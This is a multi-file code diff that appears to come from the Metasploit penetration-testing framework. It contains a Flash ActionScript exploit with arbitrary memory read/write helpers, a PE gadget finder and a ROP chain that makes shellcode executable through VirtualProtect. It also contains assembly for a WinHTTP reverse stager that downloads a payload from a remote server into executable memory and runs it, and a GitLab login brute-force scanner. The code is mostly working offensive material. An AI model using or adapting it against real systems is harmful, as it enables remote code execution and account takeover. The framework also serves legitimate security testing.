ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, add_esp_40h_ret);
|
||||
|
||||
// overwrite the method pointer
|
||||
m.write_dword(vtable_ptr + 4, add_esp_40h_ret);
|
||||
|
||||
// fix up our vector length already, since we won't need it again.
|
||||
m.Cleanup();
|
||||
|
||||
var PAGE_EXECUTE_READWRITE:uint = 0x40;
|
||||
|
||||
// where better to rop than the actual stack :-P
|
||||
Debug('[*] getting ma rop on');
|
||||
pwned.Rop(
|
||||
|
||||
// ret sled oh yeah!
|
||||
|
||||
// actually this is just me lazily making stack space so
|
||||
// that VirtualProtect doesn't trample all over any of
|
||||
// flash's stuff and make it have a sad.
|
||||
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, // 3f
|
||||
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, // 7f
|
||||
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, // cf
|
||||
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
|
||||
virtual_protect, // BOOL WINAPI VirtualProtect(
|
||||
shellcode, // ...
|
||||
shellcode, // LPVOID lpAddress,
|
||||
0x1000, // SIZE_T dwSize,
|
||||
PAGE_EXECUTE_READWRITE, // DWORD flNewProtect,
|
||||
m.vector_base, // LPDWORD lpflOldProtect
|
||||
// );
|
||||
|
||||
0x41414141, 0x41414141);
|
||||
|
||||
Debug('[*] we survived!');
|
||||
|
||||
// no need to fix the vtable, as we only overwrote the pointer
|
||||
// for the Rop method, and it won't get called again.
|
||||
|
||||
} catch (e:Error) {
|
||||
Debug('[!] error: ' + e.message);
|
||||
} finally {
|
||||
// we *always* need to clean up our corrupt vector as flash
|
||||
// will try to zero it out later otherwise...
|
||||
|
||||
Debug('[*] cleaning up corrupted vector');
|
||||
m.Cleanup();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,150 @@
|
|||
package
|
||||
{
|
||||
// some utilities to encapsulate using the relative read/write of the
|
||||
// corrupt vector.<uint> as an absolute read/write of the whole address
|
||||
// space.
|
||||
public class Memory
|
||||
{
|
||||
public var vector:Vector.<uint>;
|
||||
public var vector_base:uint;
|
||||
public var vector_size:uint;
|
||||
|
||||
private static function negative(i:uint):uint {
|
||||
return (~i) + 1;
|
||||
}
|
||||
|
||||
public function Memory(v:Vector.<uint>, b:uint, s:uint) {
|
||||
vector = v;
|
||||
vector_base = b;
|
||||
vector_size = s;
|
||||
}
|
||||
|
||||
public function Cleanup():void {
|
||||
|
||||
// restore the correct size to our vector so that flash doesn't
|
||||
// inadvertently trample on lots of memory.
|
||||
|
||||
vector[negative(2)] = vector_size;
|
||||
}
|
||||
|
||||
public function read_dword(address:uint):uint {
|
||||
var offset:uint = 0;
|
||||
|
||||
if (address & 0x3 != 0) {
|
||||
|
||||
// NB: we could read 2 dwords here, and produce the correct
|
||||
// dword, but that could lead to oob reads if we're close to
|
||||
// a page boundary. take the path of least danger, and throw
|
||||
// for debugging.
|
||||
|
||||
throw 'read_dword called with misaligned address'
|
||||
}
|
||||
|
||||
if (address < vector_base) {
|
||||
offset = negative((vector_base - address) >> 2);
|
||||
}
|
||||
else {
|
||||
offset = address - vector_base >> 2;
|
||||
}
|
||||
|
||||
try {
|
||||
return vector[offset];
|
||||
} catch (e:Error) {
|
||||
|
||||
// we can't read at offset 0xffffffff, sometimes we will want
|
||||
// to, but that is just life.
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
public function read_byte(address:uint):uint {
|
||||
var dword_address:uint = address & 0xfffffffc;
|
||||
var dword:uint = read_dword(dword_address);
|
||||
|
||||
while (address & 0x3) {
|
||||
dword = dword >> 8;
|
||||
address -= 1;
|
||||
}
|
||||
|
||||
return (dword & 0xff);
|
||||
}
|
||||
|
||||
public function read_string(address:uint):String {
|
||||
var string:String = '';
|
||||
var dword:uint = 0;
|
||||
|
||||
while (address & 0x3) {
|
||||
var char:uint = read_byte(address);
|
||||
|
||||
if (char == 0) {
|
||||
return string;
|
||||
}
|
||||
|
||||
string += String.fromCharCode(char);
|
||||
address += 1;
|
||||
}
|
||||
|
||||
while (true) {
|
||||
dword = read_dword(address);
|
||||
if ((dword & 0xff) != 0) {
|
||||
string += String.fromCharCode(dword & 0xff);
|
||||
dword = dword >> 8;
|
||||
}
|
||||
else {
|
||||
return string;
|
||||
}
|
||||
|
||||
if ((dword & 0xff) != 0) {
|
||||
string += String.fromCharCode(dword & 0xff);
|
||||
dword = dword >> 8;
|
||||
}
|
||||
else {
|
||||
return string;
|
||||
}
|
||||
|
||||
if ((dword & 0xff) != 0) {
|
||||
string += String.fromCharCode(dword & 0xff);
|
||||
dword = dword >> 8;
|
||||
}
|
||||
else {
|
||||
return string;
|
||||
}
|
||||
|
||||
if ((dword & 0xff) != 0) {
|
||||
string += String.fromCharCode(dword & 0xff);
|
||||
}
|
||||
else {
|
||||
return string;
|
||||
}
|
||||
|
||||
address += 4;
|
||||
}
|
||||
|
||||
return string;
|
||||
}
|
||||
|
||||
public function write_dword(address:uint, value:uint):void {
|
||||
var offset:uint = 0;
|
||||
|
||||
if (address & 0x3 != 0) {
|
||||
|
||||
// NB: we could read 2 dwords here, and write 2 dwords, and
|
||||
// produce the correct dword, but that could lead to oob reads
|
||||
// and writes if we're close to a page boundary. take the path
|
||||
// of least danger, and throw for debugging.
|
||||
|
||||
throw 'write_dword called with misaligned address'
|
||||
}
|
||||
|
||||
if (address < vector_base) {
|
||||
offset = negative((vector_base - address) >> 2);
|
||||
}
|
||||
else {
|
||||
offset = (address - vector_base) >> 2;
|
||||
}
|
||||
|
||||
vector[offset] = value;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,157 @@
|
|||
package
|
||||
{
|
||||
import flash.utils.ByteArray;
|
||||
|
||||
public class PE32
|
||||
{
|
||||
private var m:Memory;
|
||||
|
||||
public var base:uint;
|
||||
public var dos_header:uint;
|
||||
public var nt_header:uint;
|
||||
public var file_header:uint;
|
||||
public var opt_header:uint;
|
||||
|
||||
private function FindBase(ptr:uint):uint {
|
||||
ptr = ptr & 0xffff0000;
|
||||
var dword:uint = m.read_dword(ptr);
|
||||
|
||||
while ((dword & 0xffff) != 0x5a4d) {
|
||||
ptr -= 0x10000;
|
||||
dword = m.read_dword(ptr);
|
||||
}
|
||||
|
||||
return ptr;
|
||||
}
|
||||
|
||||
public function ParseHeaders():void {
|
||||
dos_header = base;
|
||||
var e_lfanew:uint = m.read_dword(dos_header + 60);
|
||||
|
||||
nt_header = dos_header + e_lfanew;
|
||||
var nt_magic:uint = m.read_dword(nt_header);
|
||||
if (nt_magic != 0x00004550) {
|
||||
dos_header = 0;
|
||||
nt_header = 0;
|
||||
return;
|
||||
}
|
||||
|
||||
file_header = nt_header + 4;
|
||||
var machine:uint = m.read_dword(file_header);
|
||||
if ((machine & 0xffff) != 0x014c) {
|
||||
dos_header = 0;
|
||||
nt_header = 0;
|
||||
file_header = 0;
|
||||
return;
|
||||
}
|
||||
|
||||
opt_header = nt_header + 24;
|
||||
var opt_magic:uint = m.read_dword(opt_header);
|
||||
if ((opt_magic & 0xffff) != 0x10b) {
|
||||
dos_header = 0;
|
||||
nt_header = 0;
|
||||
file_header = 0;
|
||||
opt_header = 0;
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
public function GetImport(mod_name:String, fun_name:String):uint {
|
||||
if (base == 0 || dos_header == 0) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
var data_directory:uint = opt_header + 96;
|
||||
|
||||
var import_dir:uint = data_directory + 8;
|
||||
var import_rva:uint = m.read_dword(import_dir);
|
||||
var import_size:uint = m.read_dword(import_dir + 4);
|
||||
if (import_size == 0) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
var import_descriptor:uint = base + import_rva;
|
||||
var orig_first_thunk:uint = m.read_dword(import_descriptor);
|
||||
while (orig_first_thunk != 0) {
|
||||
|
||||
var module_name_ptr:uint =
|
||||
dos_header + m.read_dword(import_descriptor + 12);
|
||||
|
||||
if (module_name_ptr != 0) {
|
||||
var module_name:String = m.read_string(module_name_ptr);
|
||||
if (module_name == mod_name) {
|
||||
orig_first_thunk += dos_header;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
import_descriptor += (5 * 4);
|
||||
orig_first_thunk = m.read_dword(import_descriptor);
|
||||
}
|
||||
|
||||
var first_thunk:uint = dos_header + m.read_dword(import_descriptor + 16);
|
||||
var thunk:uint = orig_first_thunk;
|
||||
var import_by_name_rva:uint = m.read_dword(thunk);
|
||||
while (import_by_name_rva != 0) {
|
||||
var function_name_ptr:uint = dos_header + import_by_name_rva + 2;
|
||||
|
||||
var function_name:String = m.read_string(function_name_ptr);
|
||||
if (function_name == fun_name) {
|
||||
return m.read_dword(first_thunk);
|
||||
}
|
||||
|
||||
thunk += 4;
|
||||
first_thunk += 4;
|
||||
import_by_name_rva = m.read_dword(thunk);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
public function GetGadget(gadget:ByteArray):uint {
|
||||
var opt_header_size:uint = m.read_dword(file_header + 16) & 0xffff;
|
||||
var section_count:uint = (m.read_dword(file_header) >> 16) & 0xffff;
|
||||
var section_header:uint = opt_header + opt_header_size;
|
||||
|
||||
for (var i:uint = 0; i < section_count; ++i) {
|
||||
var characteristics:uint = m.read_dword(section_header + (9 * 4));
|
||||
|
||||
if ((characteristics & 0xe0000000) == 0x60000000) {
|
||||
// this section is read/execute, so scan for gadget
|
||||
|
||||
var section_rva:uint = m.read_dword(section_header + 12);
|
||||
var section_size:uint = m.read_dword(section_header + 16);
|
||||
var section_base:uint = base + section_rva;
|
||||
var section:ByteArray = new ByteArray();
|
||||
section.endian = "littleEndian";
|
||||
section.length = section_size;
|
||||
|
||||
for (var j:uint = 0; j < section_size; j += 4) {
|
||||
section.writeUnsignedInt(
|
||||
m.read_dword(section_base + j));
|
||||
}
|
||||
|
||||
for (j = 0; j < section_size; j += 1) {
|
||||
section.position = j;
|
||||
gadget.position = 0;
|
||||
while (section.readByte() == gadget.readByte()) {
|
||||
if (gadget.position == gadget.length) {
|
||||
return section_base + j;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
section_header += 10 * 5;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
public function PE32(memory:Memory, ptr:uint) {
|
||||
m = memory;
|
||||
base = FindBase(ptr);
|
||||
ParseHeaders();
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,51 @@
|
|||
package
|
||||
{
|
||||
public class Pwned
|
||||
{
|
||||
public var magic1:uint;
|
||||
public var magic2:uint;
|
||||
|
||||
public function Rop(
|
||||
arg_00:uint, arg_01:uint, arg_02:uint, arg_03:uint, arg_04:uint, arg_05:uint, arg_06:uint, arg_07:uint,
|
||||
arg_08:uint, arg_09:uint, arg_0a:uint, arg_0b:uint, arg_0c:uint, arg_0d:uint, arg_0e:uint, arg_0f:uint,
|
||||
arg_10:uint, arg_11:uint, arg_12:uint, arg_13:uint, arg_14:uint, arg_15:uint, arg_16:uint, arg_17:uint,
|
||||
arg_18:uint, arg_19:uint, arg_1a:uint, arg_1b:uint, arg_1c:uint, arg_1d:uint, arg_1e:uint, arg_1f:uint,
|
||||
arg_20:uint, arg_21:uint, arg_22:uint, arg_23:uint, arg_24:uint, arg_25:uint, arg_26:uint, arg_27:uint,
|
||||
arg_28:uint, arg_29:uint, arg_2a:uint, arg_2b:uint, arg_2c:uint, arg_2d:uint, arg_2e:uint, arg_2f:uint,
|
||||
arg_30:uint, arg_31:uint, arg_32:uint, arg_33:uint, arg_34:uint, arg_35:uint, arg_36:uint, arg_37:uint,
|
||||
arg_38:uint, arg_39:uint, arg_3a:uint, arg_3b:uint, arg_3c:uint, arg_3d:uint, arg_3e:uint, arg_3f:uint,
|
||||
arg_40:uint, arg_41:uint, arg_42:uint, arg_43:uint, arg_44:uint, arg_45:uint, arg_46:uint, arg_47:uint,
|
||||
arg_48:uint, arg_49:uint, arg_4a:uint, arg_4b:uint, arg_4c:uint, arg_4d:uint, arg_4e:uint, arg_4f:uint,
|
||||
arg_50:uint, arg_51:uint, arg_52:uint, arg_53:uint, arg_54:uint, arg_55:uint, arg_56:uint, arg_57:uint,
|
||||
arg_58:uint, arg_59:uint, arg_5a:uint, arg_5b:uint, arg_5c:uint, arg_5d:uint, arg_5e:uint, arg_5f:uint,
|
||||
arg_60:uint, arg_61:uint, arg_62:uint, arg_63:uint, arg_64:uint, arg_65:uint, arg_66:uint, arg_67:uint,
|
||||
arg_68:uint, arg_69:uint, arg_6a:uint, arg_6b:uint, arg_6c:uint, arg_6d:uint, arg_6e:uint, arg_6f:uint,
|
||||
arg_70:uint, arg_71:uint, arg_72:uint, arg_73:uint, arg_74:uint, arg_75:uint, arg_76:uint, arg_77:uint,
|
||||
arg_78:uint, arg_79:uint, arg_7a:uint, arg_7b:uint, arg_7c:uint, arg_7d:uint, arg_7e:uint, arg_7f:uint,
|
||||
arg_80:uint, arg_81:uint, arg_82:uint, arg_83:uint, arg_84:uint, arg_85:uint, arg_86:uint, arg_87:uint,
|
||||
arg_88:uint, arg_89:uint, arg_8a:uint, arg_8b:uint, arg_8c:uint, arg_8d:uint, arg_8e:uint, arg_8f:uint,
|
||||
arg_90:uint, arg_91:uint, arg_92:uint, arg_93:uint, arg_94:uint, arg_95:uint, arg_96:uint, arg_97:uint,
|
||||
arg_98:uint, arg_99:uint, arg_9a:uint, arg_9b:uint, arg_9c:uint, arg_9d:uint, arg_9e:uint, arg_9f:uint,
|
||||
arg_a0:uint, arg_a1:uint, arg_a2:uint, arg_a3:uint, arg_a4:uint, arg_a5:uint, arg_a6:uint, arg_a7:uint,
|
||||
arg_a8:uint, arg_a9:uint, arg_aa:uint, arg_ab:uint, arg_ac:uint, arg_ad:uint, arg_ae:uint, arg_af:uint,
|
||||
arg_b0:uint, arg_b1:uint, arg_b2:uint, arg_b3:uint, arg_b4:uint, arg_b5:uint, arg_b6:uint, arg_b7:uint,
|
||||
arg_b8:uint, arg_b9:uint, arg_ba:uint, arg_bb:uint, arg_bc:uint, arg_bd:uint, arg_be:uint, arg_bf:uint,
|
||||
arg_c0:uint, arg_c1:uint, arg_c2:uint, arg_c3:uint, arg_c4:uint, arg_c5:uint, arg_c6:uint, arg_c7:uint,
|
||||
arg_c8:uint, arg_c9:uint, arg_ca:uint, arg_cb:uint, arg_cc:uint, arg_cd:uint, arg_ce:uint, arg_cf:uint,
|
||||
arg_d0:uint, arg_d1:uint, arg_d2:uint, arg_d3:uint, arg_d4:uint, arg_d5:uint, arg_d6:uint, arg_d7:uint,
|
||||
arg_d8:uint, arg_d9:uint, arg_da:uint, arg_db:uint, arg_dc:uint, arg_dd:uint, arg_de:uint, arg_df:uint,
|
||||
arg_e0:uint, arg_e1:uint, arg_e2:uint, arg_e3:uint, arg_e4:uint, arg_e5:uint, arg_e6:uint, arg_e7:uint,
|
||||
arg_e8:uint, arg_e9:uint, arg_ea:uint, arg_eb:uint, arg_ec:uint, arg_ed:uint, arg_ee:uint, arg_ef:uint,
|
||||
arg_f0:uint, arg_f1:uint, arg_f2:uint, arg_f3:uint, arg_f4:uint, arg_f5:uint, arg_f6:uint, arg_f7:uint,
|
||||
arg_f8:uint, arg_f9:uint, arg_fa:uint, arg_fb:uint, arg_fc:uint, arg_fd:uint, arg_fe:uint, arg_ff:uint):uint
|
||||
{
|
||||
return magic1 + magic2;
|
||||
}
|
||||
|
||||
public function Pwned()
|
||||
{
|
||||
magic1 = 0xdecafbad;
|
||||
magic2 = 0xdecafbad;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -145,7 +145,7 @@ download_more:
|
|||
test eax,eax ; download failed? (optional?)
|
||||
jz failure
|
||||
|
||||
mov rax, [rdi]
|
||||
mov ax, word ptr [edi]
|
||||
add rbx, rax ; buffer += bytes_received
|
||||
|
||||
test rax,rax ; optional?
|
||||
|
|
|
@ -0,0 +1,138 @@
|
|||
;-----------------------------------------------------------------------------;
|
||||
; Author: Borja Merino (modification of the HD Moore HTTP stager based on WinINet)
|
||||
; Version: 1.0
|
||||
;-----------------------------------------------------------------------------;
|
||||
[BITS 32]
|
||||
%define u(x) __utf16__(x)
|
||||
%define HTTP_OPEN_FLAGS 0x00000100
|
||||
;0x00000100 ; WINHTTP_FLAG_BYPASS_PROXY_CACHE
|
||||
|
||||
; Input: EBP must be the address of 'api_call'.
|
||||
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
|
||||
|
||||
load_winhttp:
|
||||
push 0x00707474 ; Push the string 'winhttp',0
|
||||
push 0x686E6977 ; ...
|
||||
push esp ; Push a pointer to the "winhttp" string
|
||||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
call ebp ; LoadLibraryA( "winhttp" )
|
||||
|
||||
set_retry:
|
||||
push byte 6 ; retry 6 times
|
||||
pop EDI
|
||||
xor ebx, ebx
|
||||
mov ecx, edi
|
||||
|
||||
push_zeros:
|
||||
push ebx ; NULL values for the WinHttpOpen API parameters
|
||||
loop push_zeros
|
||||
|
||||
WinHttpOpen:
|
||||
; Flags [5]
|
||||
; ProxyBypass (NULL) [4]
|
||||
; ProxyName (NULL) [3]
|
||||
; AccessType (DEFAULT_PROXY= 0) [2]
|
||||
; UserAgent (NULL) [1]
|
||||
push 0xBB9D1F04 ; hash( "winhttp.dll", "WinHttpOpen" )
|
||||
call ebp
|
||||
|
||||
WinHttpConnect:
|
||||
push ebx ; Reserved (NULL) [4]
|
||||
push dword 4444 ; Port [3]
|
||||
call got_server_uri ; Double call to get pointer for both server_uri and
|
||||
server_uri: ; server_host; server_uri is saved in EDI for later
|
||||
dw u('/12345'), 0
|
||||
got_server_host:
|
||||
push eax ; Session handle returned by WinHttpOpen [1]
|
||||
push 0xC21E9B46 ; hash( "winhttp.dll", "WinHttpConnect" )
|
||||
call ebp
|
||||
|
||||
WinHttpOpenRequest:
|
||||
|
||||
push HTTP_OPEN_FLAGS ; Flags [7]
|
||||
push ebx ; AcceptTypes (NULL) [6]
|
||||
push ebx ; Referrer (NULL) [5]
|
||||
push ebx ; Version (NULL) [4]
|
||||
push edi ; ObjectName (URI) [3]
|
||||
push ebx ; Verb (GET method) (NULL) [2]
|
||||
push eax ; Connect handler returned by WinHttpConnect [1]
|
||||
push 0x5BB31098 ; hash( "winhttp.dll", "WinHttpOpenRequest" )
|
||||
call ebp
|
||||
xchg esi, eax ; save HttpRequest handler in esi
|
||||
|
||||
send_request:
|
||||
|
||||
WinHttpSendRequest:
|
||||
push ebx ; Context [7]
|
||||
push ebx ; TotalLength [6]
|
||||
push ebx ; OptionalLength (0) [5]
|
||||
push ebx ; Optional (NULL) [4]
|
||||
push ebx ; HeadersLength (0) [3]
|
||||
push ebx ; Headers (NULL) [2]
|
||||
push esi ; HttpRequest handler returned by WinHttpOpenRequest [1]
|
||||
push 0x91BB5895 ; hash( "winhttp.dll", "WinHttpSendRequest" )
|
||||
call ebp
|
||||
test eax,eax
|
||||
jnz short receive_response ; if TRUE call WinHttpReceiveResponse API
|
||||
|
||||
try_it_again:
|
||||
dec edi
|
||||
jnz send_request
|
||||
|
||||
; if we didn't allocate before running out of retries, fall through to
|
||||
; failure
|
||||
|
||||
failure:
|
||||
push 0x56A2B5F0 ; hardcoded to exitprocess for size
|
||||
call ebp
|
||||
|
||||
receive_response:
|
||||
; The API WinHttpReceiveResponse needs to be called
|
||||
; first to get a valid handler for WinHttpReadData
|
||||
push ebx ; Reserved (NULL) [2]
|
||||
push esi ; Request handler returned by WinHttpSendRequest [1]
|
||||
push 0x709D8805 ; hash( "winhttp.dll", "WinHttpReceiveResponse" )
|
||||
call ebp
|
||||
test eax,eax
|
||||
jz failure
|
||||
|
||||
allocate_memory:
|
||||
push byte 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ; MEM_COMMIT
|
||||
push 0x00400000 ; Stage allocation (4Mb ought to do us)
|
||||
push ebx ; NULL as we dont care where the allocation is
|
||||
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
|
||||
download_prep:
|
||||
xchg eax, ebx ; place the allocated base address in ebx
|
||||
push ebx ; store a copy of the stage base address on the stack
|
||||
push ebx ; temporary storage for bytes read count
|
||||
mov edi, esp ; &bytesRead
|
||||
|
||||
download_more:
|
||||
push edi ; NumberOfBytesRead (bytesRead)
|
||||
push 8192 ; NumberOfBytesToRead
|
||||
push ebx ; Buffer
|
||||
push esi ; Request handler returned by WinHttpReceiveResponse
|
||||
push 0x7E24296C ; hash( "winhttp.dll", "WinHttpReadData" )
|
||||
call ebp
|
||||
|
||||
test eax,eax ; if download failed? (optional?)
|
||||
jz failure
|
||||
|
||||
mov eax, [edi]
|
||||
add ebx, eax ; buffer += bytes_received
|
||||
|
||||
test eax,eax ; optional?
|
||||
jnz download_more ; continue until it returns 0
|
||||
pop eax ; clear the temporary storage
|
||||
|
||||
execute_stage:
|
||||
ret ; dive into the stored stage address
|
||||
|
||||
got_server_uri:
|
||||
pop edi
|
||||
call got_server_host ; put the server_host on the stack (WinHttpConnect API [2])
|
||||
|
||||
server_host:
|
|
@ -0,0 +1,19 @@
|
|||
;-----------------------------------------------------------------------------;
|
||||
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
|
||||
; Borja Merino (bmerinofe[at]gmail.com). [WinHttp stager (Http)]
|
||||
; Version: 1.0 (January 2015)
|
||||
; Size: 323 bytes
|
||||
; Build: >build.py stager_reverse_winhttp_http
|
||||
;-----------------------------------------------------------------------------;
|
||||
|
||||
[BITS 32]
|
||||
[ORG 0]
|
||||
|
||||
cld ; Clear the direction flag.
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
%include "./src/block/block_api.asm"
|
||||
start: ;
|
||||
pop ebp ; pop off the address of 'api_call' for calling later.
|
||||
%include "./src/block/block_reverse_winhttp_http.asm"
|
||||
; By here we will have performed the reverse_tcp connection and EDI will be our socket.
|
||||
|
|
@ -51,7 +51,7 @@ module Metasploit
|
|||
# These values should be #demodularized from subclasses of
|
||||
# `Metasploit::Credential::Private`
|
||||
validates :private_type,
|
||||
inclusion: { in: [ :password, :ntlm_hash, :ssh_key ] },
|
||||
inclusion: { in: [ :password, :ntlm_hash, :postgres_md5, :ssh_key ] },
|
||||
if: "private_type.present?"
|
||||
|
||||
# If we have no private we MUST have a public
|
||||
|
|
|
@ -210,6 +210,8 @@ class Metasploit::Framework::CredentialCollection
|
|||
def private_type(private)
|
||||
if private =~ /[0-9a-f]{32}:[0-9a-f]{32}/
|
||||
:ntlm_hash
|
||||
elsif private =~ /^md5([a-f0-9]{32})$/
|
||||
:postgres_md5
|
||||
else
|
||||
:password
|
||||
end
|
||||
|
|
|
@ -0,0 +1,96 @@
|
|||
require 'metasploit/framework/login_scanner/http'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
# GitLab login scanner
|
||||
class GitLab < HTTP
|
||||
# Inherit LIKELY_PORTS,LIKELY_SERVICE_NAMES, and REALM_KEY from HTTP
|
||||
CAN_GET_SESSION = false
|
||||
DEFAULT_PORT = 80
|
||||
PRIVATE_TYPES = [ :password ]
|
||||
|
||||
# (see Base#set_sane_defaults)
|
||||
def set_sane_defaults
|
||||
self.uri = '/users/sign_in' if uri.nil?
|
||||
self.method = 'POST' if method.nil?
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
def attempt_login(credential)
|
||||
result_opts = {
|
||||
credential: credential,
|
||||
host: host,
|
||||
port: port,
|
||||
protocol: 'tcp',
|
||||
service_name: ssl ? 'https' : 'http'
|
||||
}
|
||||
begin
|
||||
cli = Rex::Proto::Http::Client.new(host,
|
||||
port,
|
||||
{
|
||||
'Msf' => framework,
|
||||
'MsfExploit' => framework_module
|
||||
},
|
||||
ssl,
|
||||
ssl_version,
|
||||
proxies)
|
||||
configure_http_client(cli)
|
||||
cli.connect
|
||||
|
||||
# Get a valid session cookie and authenticity_token for the next step
|
||||
req = cli.request_cgi(
|
||||
'method' => 'GET',
|
||||
'cookie' => 'request_method=GET',
|
||||
'uri' => uri
|
||||
)
|
||||
|
||||
res = cli.send_recv(req)
|
||||
|
||||
if res.body.include? 'user[email]'
|
||||
user_field = 'user[email]'
|
||||
elsif res.body.include? 'user[login]'
|
||||
user_field = 'user[login]'
|
||||
else
|
||||
fail RuntimeError, 'Not a valid GitLab login page'
|
||||
end
|
||||
|
||||
local_session_cookie = res.get_cookies.scan(/(_gitlab_session=[A-Za-z0-9%-]+)/).flatten[0]
|
||||
auth_token = res.body.scan(/<input name="authenticity_token" type="hidden" value="(.*?)"/).flatten[0]
|
||||
|
||||
fail RuntimeError, 'Unable to get Session Cookie' unless local_session_cookie
|
||||
fail RuntimeError, 'Unable to get Authentication Token' unless auth_token
|
||||
|
||||
# Perform the actual login
|
||||
req = cli.request_cgi(
|
||||
'method' => 'POST',
|
||||
'cookie' => local_session_cookie,
|
||||
'uri' => uri,
|
||||
'vars_post' =>
|
||||
{
|
||||
'utf8' => "\xE2\x9C\x93",
|
||||
'authenticity_token' => auth_token,
|
||||
"#{user_field}" => credential.public,
|
||||
'user[password]' => credential.private,
|
||||
'user[remember_me]' => 0
|
||||
}
|
||||
)
|
||||
|
||||
res = cli.send_recv(req)
|
||||
if res && res.code == 302
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.headers)
|
||||
else
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res)
|
||||
end
|
||||
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error => e
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
|
||||
ensure
|
||||
cli.close
|
||||
end
|
||||
Result.new(result_opts)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -62,6 +62,11 @@ module Metasploit
|
|||
end
|
||||
rescue Rex::ConnectionError, EOFError, Timeout::Error => e
|
||||
result_options.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
|
||||
rescue Msf::Db::PostgresPR::AuthenticationMethodMismatch => e
|
||||
result_options.merge!({
|
||||
status: Metasploit::Model::Login::Status::INCORRECT,
|
||||
proof: e.message
|
||||
})
|
||||
end
|
||||
|
||||
if pg_conn
|
||||
|
|
|
@ -0,0 +1,149 @@
|
|||
|
||||
